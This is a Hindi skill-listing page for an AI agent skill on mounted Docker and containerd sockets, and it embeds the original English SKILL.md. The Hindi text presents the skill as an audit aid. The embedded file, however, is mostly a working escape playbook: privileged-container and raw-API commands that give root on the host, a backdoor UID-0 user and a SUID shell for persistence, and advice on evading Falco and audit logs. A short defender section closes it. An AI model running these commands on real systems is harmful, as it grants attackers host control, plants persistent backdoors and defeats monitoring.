docker-socket-mount
यह क्या करती है
यह स्किल एक आम कंटेनर सेटअप के बारे में है, जहाँ Docker या containerd socket किसी कंटेनर के अंदर माउंट होता है, और जो असल में होस्ट पर root देता है। यह उन प्लेटफ़ॉर्म और सुरक्षा टीमों के लिए है जो CI रनर और GitOps टूल की समीक्षा करती हैं।
कब इस्तेमाल करें
- ✓जब प्लेटफ़ॉर्म टीम एजेंट से पूछती है कि कौन-से कंटेनर में Docker या containerd socket माउंट है।
- ✓जब एजेंट CI रनर, GitOps कंट्रोलर या Docker-in-Docker सेटअप में यह खुलापन जाँचता है।
- ✓जब ऑडिट रिपोर्ट को बताना हो कि माउंट किया गया socket गंभीर जोखिम क्यों है।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“क्या हमारे किसी CI रनर कंटेनर के अंदर Docker socket माउंट है?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट हर रनर के कंटेनर माउंट और socket पथ जाँचता है, मिला हुआ कोई भी socket रिपोर्ट करता है, और होस्ट-स्तर के जोखिम को समझाता है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Docker / Containerd Socket Mount Escape
A container with /var/run/docker.sock or /run/containerd/containerd.sock mounted in is fully equivalent to root on the host. This is one of the most common findings in CI/CD environments.
Detect
ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such'
mount | grep -E 'docker\.sock|containerd\.sock'
# CRI-O variant
ls -la /var/run/crio/crio.sock 2>&1
Exploit — Docker socket
# Launch a privileged container that mounts the host root
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh
# Done — you're root on the host.
# If `docker` binary isn't in your container, install it or talk to the API directly:
apk add docker-cli 2>/dev/null || apt-get install -y docker.io 2>/dev/null
# Or use curl on the UNIX socket:
curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["chroot","/host","/bin/sh","-c","id > /host/tmp/owned"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
http://localhost/containers/create
Exploit — containerd socket
# ctr is the containerd CLI
ctr -a /run/containerd/containerd.sock images pull docker.io/library/alpine:latest
ctr -a /run/containerd/containerd.sock run --rm -t --privileged \
--mount type=bind,src=/,dst=/host,options=rbind \
docker.io/library/alpine:latest escape sh -c 'chroot /host'
# OR via crictl (often present where ctr isn't):
crictl --runtime-endpoint unix:///run/containerd/containerd.sock pull alpine
# crictl exec is more limited — fall back to API:
nerdctl --address /run/containerd/containerd.sock run --rm -it --privileged -v /:/host alpine chroot /host
Exploit — CRI-O socket
crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
# Same pattern as containerd.
Common attack contexts
| Context | Why the socket is mounted |
|---|---|
| Jenkins/GitLab CI runners | Build Docker images inside the build container |
| ArgoCD / Flux | Run pre-/post-sync hooks that build images |
| Docker-in-Docker (DinD) in K8s | Same — build pipelines, kaniko alternatives |
| Diagnostic sidecars | Container-level metrics/log shippers |
| Buildkit daemon w/ ungated rootless socket | Same primitive, less restricted env |
Persistence
# Inside the escaped host, drop a backdoor:
chroot /host useradd -ou 0 -g 0 -m -s /bin/bash backdoor
echo 'backdoor:plaintext' | chroot /host chpasswd
# Or grant SUID:
cp /host/bin/bash /host/tmp/.x; chroot /host chmod +s /tmp/.x
OPSEC
- The Docker API logs every container create (
/var/log/docker.logor journald). Use a benign-sounding image name. - Falco rules
attach_drop_capability,escape_to_host_namespaceflag this exactly. If Falco is present, use the long-form HTTP API call (one request) rather thandocker run(multiple). - CRI-O auditing logs every
RunPodSandbox— same evasion approach.
Detection (defender lens, useful for triage)
- Pod-spec scanning (admission controllers — OPA Gatekeeper, Kyverno) blocks
hostPath: /var/run/docker.sockat admit time. - Falco rule
Mount docker.sockcatches the runtime case. - AppArmor profile
docker-defaultdoesn't block this — needs custom profile.
अक्सर पूछे जाने वाले सवाल
माउंट किया गया socket इतना गंभीर क्यों है?
स्किल कहती है कि जो भी socket से बात कर सके, वह होस्ट की फ़ाइलों वाला विशेषाधिकार प्राप्त कंटेनर शुरू कर सकता है, जो होस्ट root के बराबर है।
कौन-से सेटअप सबसे आम हैं?
स्किल CI रनर, ArgoCD और Flux कंट्रोलर, Docker-in-Docker और Jenkins एजेंट गिनाती है।
इसके बारे में क्या करना चाहिए?
स्किल माउंट हटाने या सुरक्षित build टूल इस्तेमाल करने की ओर इशारा करती है, और समाधान टीम तय करती है।
जानकारी
लेखक का मूल विवरण
Docker / containerd socket mounted into a container → host RCE. Common in CI runners, GitOps controllers (ArgoCD, Flux), and 'Docker-in-Docker' setups. Single-command escape via `docker run --rm --privileged -v /:/host alpine chroot /host`.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #13989
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।